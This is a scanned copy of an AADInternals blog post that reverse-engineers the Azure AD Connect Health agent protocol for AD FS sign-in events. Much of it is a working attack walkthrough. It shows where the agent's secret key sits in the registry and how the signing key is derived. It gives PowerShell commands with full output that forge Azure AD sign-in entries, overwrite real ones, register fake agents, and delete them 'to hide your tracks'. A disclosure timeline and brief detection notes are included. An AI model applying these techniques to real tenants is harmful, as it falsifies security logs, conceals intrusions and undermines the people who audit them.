aadinternals.com Open in urlscan Pro
185.199.110.153  Public Scan

Submitted URL: https://o365blog.com/post/hybridhealthagent/
Effective URL: https://aadinternals.com/post/hybridhealthagent/
Submission: On February 06 via api from ES — Scanned from NL

Form analysis 0 forms found in the DOM

Text Content

AADINTERNALS.COM


THE ULTIMATE ENTRA ID (AZURE AD) / MICROSOFT 365 HACKING AND ADMIN TOOLKIT

Menu
 * AAD KILL CHAIN
 * DOCUMENTATION
 * LINKS
 * OSINT
 * TALKS
 * TOOLS


SPOOFING AZURE AD SIGN-INS LOGS BY IMITATING AD FS HYBRID HEALTH AGENT

July 08, 2021 (Last Modified: September 08, 2021) blog

 * 
 * 

 * Introduction
 * Hybrid Health agent for AD FS
 * Process and protocol details
   * Step 1: Log in
   * Step 2: Write Event Id 1200
   * Step 3: Read Events
   * Step 4: Get Service Access Token
   * Step 5: Get Blob Upload Key
   * Step 6: Get Event Publisher Key
   * Step 7: Upload Events to blob storage
   * Step 8: Send signature to events hub
 * Spoofing sign-ins log with AADInternals
 * Tampering with sign-ins log
 * Registering fake agents with AADInternals v0.5.0 and later
   * Registering hybrid health service
   * Registering AD FS server
   * Creating fake events
   * Removing fake services and agents
 * How to detect
   * Exporting agent secrets
   * Spoofing
   * Registering fake services
 * How to prevent
 * Summary
 * References

Azure AD Connect Health is a feature that allows viewing the health of on-prem
hybrid infrastructure components, including Azure AD Connect and AD FS servers.
Health information is gathered by agents installed on each on-prem hybrid
server. Since March 2021, also AD FS sign-in events are gathered and sent to
Azure AD.

In this write-up (based on a Threat Analysis report by Secureworks), I’ll
explain how anyone with a local administrator access to AD FS server (or proxy),
can create arbitrary sign-ins events to Azure AD sign-ins log. Moreover, I’ll
show how Global Administrators can register fake agents to Azure AD - even for
tenants not using AD FS at all.




INTRODUCTION

Per Azure AD Connect Health documentation:

> Azure Active Directory (Azure AD) Connect Health provides robust monitoring of
> your on-premises identity infrastructure. It enables you to maintain a
> reliable connection to Microsoft 365 and Microsoft Online Services. This
> reliability is achieved by providing monitoring capabilities for your key
> identity components. Also, it makes the key data points about these components
> easily accessible.

After configuration and installation, we can see the health of AD FS services in
the Azure AD Portal:



We can also drill-down to see details:



The logical structure of the hybrid health AD FS services in ArchiMate notation
can be seen below:



The service represents the AD FS service and has the name equal to the hostname
property of AD FS service:

# Get the AD FS service name
Get-AdfsProperties | Select Hostname

HostName            
--------            
sts.fake.myo365.site


The service consists of service members, which can be either federation server
or federation server proxy. Service members names are equal equal to the
hostname of the server or the proxy:

# Get the computer host name
$env:COMPUTERNAME

SERVER


To get things going, an agent need to be installed on each AD FS and proxy
server. License requirements to use Azure AD Connect Health is Azure AD Premium
P1 or P2.


HYBRID HEALTH AGENT FOR AD FS

The Health Agent for AD FS has been there for years to report the health of the
service. In March 2021, Microsoft announced that a public preview for AD FS
sign-ins in Azure AD reporting is available to all customers.

As soon as this was announced, I took a brief look and noticed that the agent is
using Azure service bus (same than PTA authentication and Azure Web Application
Proxy). Finally, at the end of May, I had time for proper research.

Technically, in Azure AD, there are individual logs for a different types of
sign-ins:

 * SignInLogs
 * NonInteractiveUserSignInLogs
 * ServicePrincipalSignInLogs
 * ManagedIdentitySignInLogs
 * ProvisioningLogs
 * ADFSSignInLogs
 * RiskyUsers
 * UserRiskEvents

The “normal” Azure AD sign-ins events are stored to a log called SignInLogs and
AD FS sign-ins to a log called ADFSSignInLogs:



If the organisation has an Azure subscription, ADFSSignInLogs can be exported to
Log Analytics workspace to be viewed and analysed. Below is an example of events
extracted from Log Analytics:



Administrators can view sign-ins logs in Azure Admin Portal. However, there is
no dedicated tab for ADFSSignInLogs. Instead, AD FS log-in events are shown in
User sign-ins (interactive) alongside “normal” Azure AD sign-ins events.

Below is an example where we can see AD FS log-in events from above in Azure AD
sign-ins log:



The Health Agent for AD FS consists of three services. The one that is
responsible for sending the events to Azure AD is Azure AD Connect Health AD FS
Insights Service:




PROCESS AND PROTOCOL DETAILS

The overall process how AD FS sign-ins events are gathered and sent to Azure AD
is illustrated below:




STEP 1: LOG IN

First, a user logs in to AD FS using any method configured and available for the
user.


STEP 2: WRITE EVENT ID 1200

During and after a successful or failed log-in, AD FS server writes multiple
auditing events to Security log. Auditing is turned on during the installation
of the agent and is a prerequisite for gathering events.

The Event Id 1200 contains details about the log-in event:



<?xml version="1.0" encoding="utf-16"?>
<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">
  <AuditType>AppToken</AuditType>
  <AuditResult>Success</AuditResult>
  <FailureType>None</FailureType>
  <ErrorCode>N/A</ErrorCode>
  <ContextComponents>
    <Component xsi:type="ResourceAuditComponent">
      <RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>
      <ClaimsProvider>AD AUTHORITY</ClaimsProvider>
      <UserId>AADINTERNALS\test</UserId>
    </Component>
    <Component xsi:type="AuthNAuditComponent">
      <PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>
      <DeviceAuth>false</DeviceAuth>
      <DeviceId>N/A</DeviceId>
      <MfaPerformed>false</MfaPerformed>
      <MfaMethod>N/A</MfaMethod>
      <TokenBindingProvidedId>false</TokenBindingProvidedId>
      <TokenBindingReferredId>false</TokenBindingReferredId>
      <SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>
    </Component>
    <Component xsi:type="ProtocolAuditComponent">
      <OAuthClientId>N/A</OAuthClientId>
      <OAuthGrant>N/A</OAuthGrant>
    </Component>
    <Component xsi:type="RequestAuditComponent">
      <Server>http://sts.fake.myo365.site/adfs/services/trust</Server>
      <AuthProtocol>WSFederation</AuthProtocol>
      <NetworkLocation>Intranet</NetworkLocation>
      <IpAddress>10.10.10.30</IpAddress>
      <ForwardedIpAddress />
      <ProxyIpAddress>N/A</ProxyIpAddress>
      <NetworkIpAddress>N/A</NetworkIpAddress>
      <ProxyServer>N/A</ProxyServer>
      <UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</UserAgentString>
      <Endpoint>/adfs/ls/</Endpoint>
    </Component>
  </ContextComponents>
</AuditBase>


STEP 3: READ EVENTS

The agent reads (at least) all Id 1200 events. The agent seems to be monitoring
the Security log for changes.


STEP 4: GET SERVICE ACCESS TOKEN

The agent gets a Service Access Token from Azure AD. The token is fetched by
making HTTP POST request to:

https://s1.adhybridhealth.azure.com/oauth2/token


The body of the request is (line changes added):

grant_type=client_credentials&client_secret=<client_secret>&client_id=<tenant_id>_<machine_id>

<client_secret> is a so called AgentKey, which is stored to the registry of AD
FS server. The AgentKey is “protected” with DPAPI. <client_id> is a combination
of the tenant id and machine id. Both of the values are also stored to the
registry.

Parameter Registry location client_secret
HKLM:\SOFTWARE\Microsoft\ADHealthAgent\AgentKey tenant_id
HKLM:\SOFTWARE\Microsoft\ADHealthAgent\TenantId machine_id
HKLM:\SOFTWARE\Microsoft\Microsoft
Online\Reporting\MonitoringAgent\MachineIdentity

As a response, we will have a JSON file containing the service access token:

{
	"access_token": "2Fx1s5Th9h4...D4efhRG4",
	"token_type": "bearer",
	"expires_in": 3599
}

The service access token is NOT a standard JWT token, but some Microsot
encrypted blob. The token is valid for (almost) an hour.


STEP 5: GET BLOB UPLOAD KEY

The agent gets a Blob Upload Key that is required to send the actual events to
Azure AD. The key is fetched by making HTTP GET request to:

https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/BlobUploadKey



<service_id> refers to the id of AD FS service registered to Azure AD during the
first agent installation. The id not shown in the Azure Portal, but is luckily
also stored to the registry.

Parameter Registry location service_id
HKLM:\SOFTWARE\Microsoft\ADHealthAgent\ADFS\ServiceId

The Service Access Token from the previous step is included in the Authorization
header:

Authorization: Bearer <service access token>


As a response, we will get a URL for the blob storage with a working shared
access signature (SAS) token. The <service_id> is the service id sent in the
request.

https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-<service_id>?sv=2018-03-28&sr=c&sig=RCrQOWOLr%2FjHIX6%2FxCti1bPmbHgkp4T9eLS07uP%2FyKM%3D&se=2021-07-10T08%3A01%3A46Z&sp=w


STEP 6: GET EVENT PUBLISHER KEY

The agent gets an Event Publisher Key that is required to send the signature of
the events blob to Azure AD. The key is fetched by making HTTP GET request to:

https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/EventHubPublisherKey



<service_id> is the same as in the previous step, and the service access token
is also used similarly for authentication.

As a response, we will get a JSON file that is just a single string containing
Azure Service Bus endpoint and other related information, including another SAS
token.

"Endpoint=sb://adhsprodweuehadfsia.servicebus.windows.net/;SharedAccessSignature=SharedAccessSignature sr=sb%3a%2f%2fadhsprodweuehadfsia.servicebus.windows.net%2fadhsprodweuehadfsia%2fPublishers%2f658fe106-a59d-404e-985b-0c1bf3b4f72d&sig=4%2bZ%2bNurnA4%2b4t6dvTG8kqraJMlNzxKF0KFjiBIaZUw4%3d&se=1625904056&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Publisher=658fe106-a59d-404e-985b-0c1bf3b4f72d"




STEP 7: UPLOAD EVENTS TO BLOB STORAGE

The events are sent to blob storage as a json file, which consists of an array
of event objects. Below is the json file for the event from the step 2:

 1[
 2	{
 3		"UniqueID": "434c2d29-a4a0-4ce2-86f5-1679bbadc948",
 4		"Server": "SERVER",
 5		"EventType": 1,
 6		"PrimaryAuthentication": 33,
 7		"RequiredAuthType": 1,
 8		"RelyingParty": "urn:federation:MicrosoftOnline",
 9		"RelyingPartyName": "",
10		"Result": true,
11		"DeviceAuthentication": false,
12		"URL": "/adfs/ls",
13		"User": 1350057402,
14		"UserId": "AADINTERNALS\\test",
15		"UserIdType": 10,
16		"UPN": "test@fabrikam.azurelabs.online",
17		"Timestamp": "2021-07-09T07:03:54.9506592Z",
18		"Protocol": 2,
19		"NetworkLocation": 1,
20		"AppTokenFailureType": 0,
21		"IPAddress": "10.10.10.30",
22		"ClaimsProvider": null,
23		"OAuthClientID": null,
24		"OAuthTokenRetrievalMethod": null,
25		"MFA": null,
26		"MFAProviderErrorCode": null,
27		"ProxyServer": null,
28		"Endpoint": "/adfs/ls/",
29		"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
30		"DeviceID": "",
31		"ErrorHitCount": 0,
32		"X509CertificateType": null,
33		"MFAAuthenticationType": null,
34		"ActivityId": "b91630ee-984e-40ff-a7ea-ffefdb472048",
35		"ActivityIdAutoGenerated": false,
36		"PrimarySid": "S-1-5-21-2918793985-2280761178-2512057791-1602",
37		"ImmutableId": "rJcYmpdAz0i3VB7sI6ZDcg=="
38	}
39]

Note: From the identity information (rows 14, 16, 36, and 37 from the json file
above) Azure AD only cares about UPN. All log-in events are sent to Azure AD.
However, only those events having an UPN of an existing Azure AD user is added
to ADFSSignInLog.

Before sending the json file, it is compressed using Gzip.

Agent sents the compressed json file to the blob storage by making HTTP POST to
the url received in step 5. The url is modified by adding a file name and
api-version to it:

https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-<service_id>/<id>.json?sv=2018-03-28&sr=c&sig=RCrQOWOLr%2FjHIX6%2FxCti1bPmbHgkp4T9eLS07uP%2FyKM%3D&se=2021-07-10T08%3A01%3A46Z&sp=w&api-version=2017-04-17

<service_id> is the same than in the previous steps and <id> is a random GUID
identifying the sent events.



The following HTTP headers are used:

User-Agent: Azure-Storage/8.2.0 (.NET CLR 4.0.30319.42000; Win32NT 10.0.17763.0)
x-ms-version: 2017-04-17
Content-MD5: <MD5Hash>
x-ms-blob-type: BlockBlob
x-ms-client-request-id: <id>

<Md5Hash> is the MD5 hash calculated from the Gzip compressed json file. <id> is
the same id used above.




STEP 8: SEND SIGNATURE TO EVENTS HUB

Before calculating the signature to be sent to the events hub, we need to derive
the signature key (this is very interesting):

 1. SHA512 hash is calculated from the AgentKey. The AgentKey is a base 64
    encoded byte array, but the hash is calculated from the b64 string by
    converting it to the byte array of ASCII values!
 2. The resulting (binary) hash is converted to hex string.
 3. Signing key is a result of converting the hex string to byte array by using
    base 64 decoding !??!??

The next step is to define the string to be signed:

<tenant_id>,<service_id>,<machine_id>,Adfs-UsageMetrics,<blob_url>,<date_string>

<tenant_id>,<service_id>,<machine_id> are the values from the steps 4 and 5.
<blob_url> is the url used in the previous step but without query parameters.
<date_string> is the signing time (UTC) in sortable format like:



2021-07-09T10:43:35


Signature is calculated by converting the string to a byte array of UNICODE
values and by calculating a HMACSHA512 from it using the signing key calculated
earlier. Finally, the signature is base 64 encoded.

Using the endpoint URL from the step 6. a connection is made to Azure Service
Bus. Below is the screenshot from Fiddler showing the actual message containing
the string to be signed and the actual signature.



After sending the signature, the events are shown in the log in 15 minutes or so
(can take much longer too).


SPOOFING SIGN-INS LOG WITH AADINTERNALS

AADInternals v0.5.0 includes the functionality to create fake events using the
Hybrid Health Service protocol.

First, we need to get the agent information (requires local administrator rights
to AD FS server):

# Get the agent information and save to a variable
$agentInfo = Get-AADIntHybridHealthServiceAgentInfo

Second, we create an array of fake events. This and the next step can be done
from any internet-joined computer using the agent information from the previous
step.

# Create an array of fake events
$events=@(
    New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN "NestorW@contoso.azurelabs.online" -IPAddress "22.22.22.22" -NetworkLocationType Extranet  -Timestamp (Get-Date).AddHours(-1)
    New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN "DiegoS@contoso.azurelabs.online"  -IPAddress "11.11.11.11" -NetworkLocationType Extranet 
)

Finally, we’ll send the events! I’m using -Verbose switch here to see what’s
going on under-the-hood:

# Send the events
Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events -Verbose

Output:

VERBOSE: POST https://s1.adhybridhealth.azure.com/oauth2/token with -1-byte payload
VERBOSE: received 443-byte response of content type application/json; charset=UTF-8
VERBOSE: GET https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/50abc8f3-243a-4ac1-a3fb-712054d7334b/keys/BlobUploadKey with 0-byte payload
VERBOSE: received 218-byte response of content type application/json; charset=utf-8
VERBOSE: GET https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/50abc8f3-243a-4ac1-a3fb-712054d7334b/keys/EventHubPublisherKey with 0-byte payload
VERBOSE: received 411-byte response of content type application/json; charset=utf-8
VERBOSE: Get-CompressedByteArray
VERBOSE: PUT https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-50abc8f3-243a-4ac1-a3fb-712054d7334b/a653012f-522a-4d47-b4b5-a753ccebd353.json?sv=2018-03-28&sr=c&sig=cwyvMgry1h5IyfA3hQwKX1%2FoOPibv1lvZq7fbPSwF4U%3D&se=2021-07-10T12:16:57Z&sp=w&api-version=2017-04-17 with -1-byte payload
VERBOSE: received 0-byte response of content type 
VERBOSE: Opening websocket: wss://adhsprodweuehadfsia.servicebus.windows.net/$servicebus/websocket
VERBOSE: IN: @{Type=Protocol SASL; Protocol=3; Major=1; Minor=0; Revision=0}
VERBOSE: OUT:@{Type=Protocol SASL; Protocol=3; Major=1; Minor=0; Revision=0}
VERBOSE: IN: @{Type=Protocol SASL; Protocol=3; Major=1; Minor=0; Revision=0}
VERBOSE: IN: @{Size=63; DOFF=2; Extended Header=System.Object[]; Type=SASL Mechanisms; Content=System.Object[]}
VERBOSE: IN: @{Size=26; DOFF=2; Extended Header=System.Object[]}
VERBOSE: OUT:@{Size=26; DOFF=2; Extended Header=System.Object[]}
VERBOSE: IN: @{Size=26; DOFF=2; Extended Header=System.Object[]; Type=SASL Outcome; Status=ok; Message=Welcome!}
VERBOSE: IN: @{Type=Protocol AMQP; Protocol=0; Major=1; Minor=0; Revision=0}
VERBOSE: OUT:@{Type=Protocol AMQP; Protocol=0; Major=1; Minor=0; Revision=0}
VERBOSE: IN: @{Type=Protocol AMQP; Protocol=0; Major=1; Minor=0; Revision=0}
VERBOSE: IN: @{Size=106; DOFF=2; Extended Header=System.Object[]; Type=AQMP Open; Channel=0; ContainerId=ed0739c1de7a6d907f304916220bea5b; HostName=adhsprodweuehadfsia.servicebus.windows.net; MaxFrameSize=65536; ChannelMax=8191; IdleTimeOut=; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: OUT:@{Size=106; DOFF=2; Extended Header=System.Object[]; Type=AQMP Open; Channel=0; ContainerId=ed0739c1de7a6d907f304916220bea5b; HostName=adhsprodweuehadfsia.servicebus.windows.net; MaxFrameSize=65536; ChannelMax=8191; IdleTimeOut=; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Size=71; DOFF=2; Extended Header=System.Object[]; Type=AQMP Open; Channel=0; ContainerId=31e228ec82a74f9cbd981e4b535a974b_G22; HostName=; MaxFrameSize=65536; ChannelMax=4999; IdleTimeOut=120000; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Size=35; DOFF=2; Extended Header=System.Object[]; Type=AQMP Begin; Channel=0; RemoteChannel=; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=262143; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: OUT:@{Size=35; DOFF=2; Extended Header=System.Object[]; Type=AQMP Begin; Channel=0; RemoteChannel=; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=262143; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Size=34; DOFF=2; Extended Header=System.Object[]; Type=AQMP Begin; Channel=0; RemoteChannel=0; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=255; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Size=124; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:sender; Handle=0; Direction=out; Target=$cbs; TrackingId=69968}
VERBOSE: OUT:@{Size=124; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:sender; Handle=0; Direction=out; Target=$cbs; TrackingId=69968}
VERBOSE: IN: @{Size=132; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:sender; Handle=0; Direction=in; Target=@ ; TrackingId=69968}
VERBOSE: IN: @{Size=36; DOFF=2; Extended Header=System.Object[]; Type=AQMP Flow; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Handle=0; DeliveryCount=0; LinkCredit=100; Available=0; Drain=; Echo=False; Properties=}
VERBOSE: IN: @{Size=159; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:receiver; Handle=1; Direction=in; Target=$cbs; TrackingId=69968}
VERBOSE: OUT:@{Size=159; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:receiver; Handle=1; Direction=in; Target=$cbs; TrackingId=69968}
VERBOSE: IN: @{Size=167; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=duplex64193:64195:64196:receiver; Handle=1; Direction=out; Target=ed0739c1de7a6d907f304916220bea5b; TrackingId=69968}
VERBOSE: IN: @{Size=37; DOFF=2; Extended Header=System.Object[]; Type=AQMP Flow; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Handle=1; DeliveryCount=0; LinkCredit=50; Available=0; Drain=; Echo=False; Properties=}
VERBOSE: OUT:@{Size=37; DOFF=2; Extended Header=System.Object[]; Type=AQMP Flow; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Handle=1; DeliveryCount=0; LinkCredit=50; Available=0; Drain=; Echo=False; Properties=}
VERBOSE: IN: @{Size=556; DOFF=2; Extended Header=System.Object[]; Type=AQMP Transfer; Channel=0; Handle=0; DeliveryId=0; DeliveryTag=Qw==; MessageFormat=0; Settled=True; More=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: OUT:@{Size=556; DOFF=2; Extended Header=System.Object[]; Type=AQMP Transfer; Channel=0; Handle=0; DeliveryId=0; DeliveryTag=Qw==; MessageFormat=0; Settled=True; More=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: IN: @{Size=113; DOFF=2; Extended Header=System.Object[]; Type=AQMP Transfer; Channel=0; Handle=1; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=True; More=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: IN: @{Size=266; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=479fb98dc6864904aade7b577963e835;64193:64194:64199; Handle=2; Direction=out; Target=adhsprodweuehadfsia/Publishers/66543d53-b49b-483b-9312-b8c5fdfea30c; TrackingId=7}
VERBOSE: OUT:@{Size=266; DOFF=2; Extended Header=System.Object[]; Type=AQMP Attach; Channel=0; Name=479fb98dc6864904aade7b577963e835;64193:64194:64199; Handle=2; Direction=out; Target=adhsprodweuehadfsia/Publishers/66543d53-b49b-483b-9312-b8c5fdfea30c; TrackingId=7}
VERBOSE: IN: @{Size=5469120; DOFF=23; Extended Header=System.Object[]}
VERBOSE: IN: @{Size=580; DOFF=2; Extended Header=System.Object[]; Type=AQMP Transfer; Channel=0; Handle=2; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=; More=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=True}
VERBOSE: OUT:@{Size=580; DOFF=2; Extended Header=System.Object[]; Type=AQMP Transfer; Channel=0; Handle=2; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=; More=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=True}
VERBOSE: IN: @{Size=17; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=0; Closed=True; Error=}
VERBOSE: OUT:@{Size=17; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=0; Closed=True; Error=}
VERBOSE: IN: @{Size=18; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=1; Closed=True; Error=}
VERBOSE: OUT:@{Size=18; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=1; Closed=True; Error=}
VERBOSE: IN: @{Size=18; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=2; Closed=True; Error=}
VERBOSE: OUT:@{Size=18; DOFF=2; Extended Header=System.Object[]; Type=AQMP Detach; Channel=0; Handle=2; Closed=True; Error=}
VERBOSE: IN: @{Size=15; DOFF=2; Extended Header=System.Object[]; Type=AQMP End; Channel=0; Error=}
VERBOSE: OUT:@{Size=15; DOFF=2; Extended Header=System.Object[]; Type=AQMP End; Channel=0; Error=}
VERBOSE: Closing websocket


After 15 min or so, the events appear in the sign-ins (interactive) log. And as
we can see, we were able to alter also the sign-ins time:




TAMPERING WITH SIGN-INS LOG

Studying the protocol and the information sent to Azure AD, I noticed that the
Request ID in the sign-ins is equal to the UniqueID of the event.

This made me wonder what happens if I use an existing Request ID as UniqueID for
the events:

# Create an event using existing Request ID as UniqueID
$events=@(
    New-AADIntHybridHealtServiceEvent -UniqueID "8d62c873-3d82-48f9-a30b-532be551709c" -Server $agentInfo.Server -UPN "NestorW@contoso.azurelabs.online" -IPAddress "22.22.22.22" -NetworkLocationType Extranet
)



It turned out that the fake event overwrote the existing event! This allowed
threat actors to hide their log-in activities by replacing their log-ins with
arbitrary information.

Timeline:

Date Activity May 30th 2021 Discovery of the vulnerability May 31st 2021
Reported the vulnerability to Microsoft Jun 6th 2021 Shared tool with Microsoft
to reproduce the issue Jun 16th 2021 Microsoft confirmed the behaviour and
indicated reviewing the report for a bounty award Jul 2nd 2021 Microsoft awarded
bounty of 10000 USD (Severity: Important, Security Impact: Spoofing) Jul 2nd
2021 Disagreed with the severity and impact - spoofing is spoofing and tampering
is tampering.. Jul 6th 2021 Microsoft reported that a fix had been applied Jul
7th 2021 Confirmed the fix adressed the issue:

Now all events will get a randomly generated Request ID so the tampering is not
possible anymore.


REGISTERING FAKE AGENTS WITH AADINTERNALS V0.5.0 AND LATER

Creating fake log-in events using an existing agent requires local administrator
access to the server where the agent is installed. With Global Administrator
permissions, this can also be done remotely, as fake agents can be registered
from any computer with internet connect - even for tenants which do not have AD
FS.

Note: For some reason, the registration events are not logged to the audit log,
making it very easy to hide your tracks!


REGISTERING HYBRID HEALTH SERVICE

First, we need to create a new hybrid health service:

# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache

# Create a new AD FS service
New-AADIntHybridHealthService -DisplayName "sts.company.com" -Signature "sts.company.com" -Type AdFederationService

activeAlerts                             : 0
additionalInformation                    : 
createdDate                              : 2021-07-12T07:25:29.1009287Z
customNotificationEmails                 : 
disabled                                 : False
displayName                              : sts.company.com
health                                   : Healthy
lastDisabled                             : 
lastUpdated                              : 0001-01-01T00:00:00
monitoringConfigurationsComputed         : 
monitoringConfigurationsCustomized       : 
notificationEmailEnabled                 : True
notificationEmailEnabledForGlobalAdmins  : True
notificationEmails                       : 
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts                           : 0
serviceId                                : 189c61bb-2c9c-4e86-b038-d0257c6c559e
serviceMembers                           : 
serviceName                              : AdFederationService-sts.company.com
signature                                : sts.company.com
simpleProperties                         : 
tenantId                                 : c5ff949d-2696-4b68-9e13-055f19ed2d51
type                                     : AdFederationService
originalDisabledState                    : False


The new service will now appear in the list of AD FS services:



As we can see, the status of the service is currently Unmonitored. This is
because we have not registered any service members yet.


REGISTERING AD FS SERVER

Let’s next register a new AD FS server:

# List the service names
Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName

serviceName                             
-----------                             
AdFederationService-sts.company.com     
AdFederationService-sts.fake.myo365.site


# Register a new AD FS server
Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.company.com" -MachineName "ADFS01" -MachineRole AdfsServer_2016

Agent info saved to         "AdFederationService-sts.company.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.json"
Client sertificate saved to "AdFederationService-sts.company.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.pfx"


Agent information (AgentKey etc.) is saved to a .json file and the agent’s
certificate to a .pfx file (empty password).

Now the service status has changed to Healthy:

Clicking the service will show the details of the service and we can see there
is one registered AD FS server:

Clicking anywhere in the Overview box will show the list of all registered
agents:

Multiple servers and proxies can be registered with the same process.


CREATING FAKE EVENTS

Now we can create fake events same way we did above:

Now we can load the agent information to a variable and create fake events as
above:

# Load the agent information and save to a variable
$agentInfo = Get-Content "AdFederationService-sts.company.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.json" | ConvertFrom-Json

# Send the events
Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events -Verbose


REMOVING FAKE SERVICES AND AGENTS

Finally, to hide your tracks, you can remove the service and agents:

# Remove the service and agents
Remove-AADIntHybridHealthService -ServiceName "AdFederationService-sts.company.com"



Note: I was able to create AD FS service and register agents also to the tenant
without Azure Premium P1 or P2 subscription. However, the events won’t appear in
the Azure AD sign-ins log and service can’t be viewed from the Azure Portal.


HOW TO DETECT


EXPORTING AGENT SECRETS

After original publication of this blog, @Cyb3rWard0g created Sigma and Azure
Sentinel rules for detecting access to agent key.


SPOOFING

This kind of activity, where you communicate with the cloud directly, is often
hard to detect. In this case, with the information available at ADFSSignInLog,
exploitation can’t be detected at all.


REGISTERING FAKE SERVICES

As mentioned earlier, registration events are not logged to the audit log.
However, the events are included in the Directory Activity log of any Azure
subscription of the tenant:



How about the tenants without Azure subscription? Don’t worry, I got you covered
as AADInternals v0.6.0 includes a function to view the Azure Directory Activity
log items!

Note: If the tenant doesn’t have Azure subscription, the user must have “Access
management for Azure resources” switched on at Azure AD properties or use
AADInternals Grant-AADIntAzureUserAccessAdminRole function to switch it on.



To get the Azure Directory Activity events use the following commands:

# Get the access token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache

# Optional: grant Azure User Access Administrator role (and wait for about 10 seconds for changes to take effect)
Grant-AADIntAzureUserAccessAdminRole

# Get the events for the last month
$events = Get-AADIntAzureDirectoryActivityLog -Start (Get-Date).AddDays(-31)

# Select ADHybridHealthService related events and extract relevant information
$events | where {$_.authorization.action -like "Microsoft.ADHybrid*"} | %{New-Object psobject -Property ([ordered]@{"Scope"=$_.authorization.scope;"Operation"=$_.operationName.localizedValue;"Caller"=$_.caller;"TimeStamp"=$_.eventTimeStamp;"IpAddress"=$_.httpRequest.clientIpAddress})} | ft

Output:

Scope                                                                                    Operation          Caller                               TimeStamp IpAddress                  
-----                                                                                    ---------          ------                               --------- ---------         
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:10:59.0148112Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:10:58.3348792Z 51.65.246.212
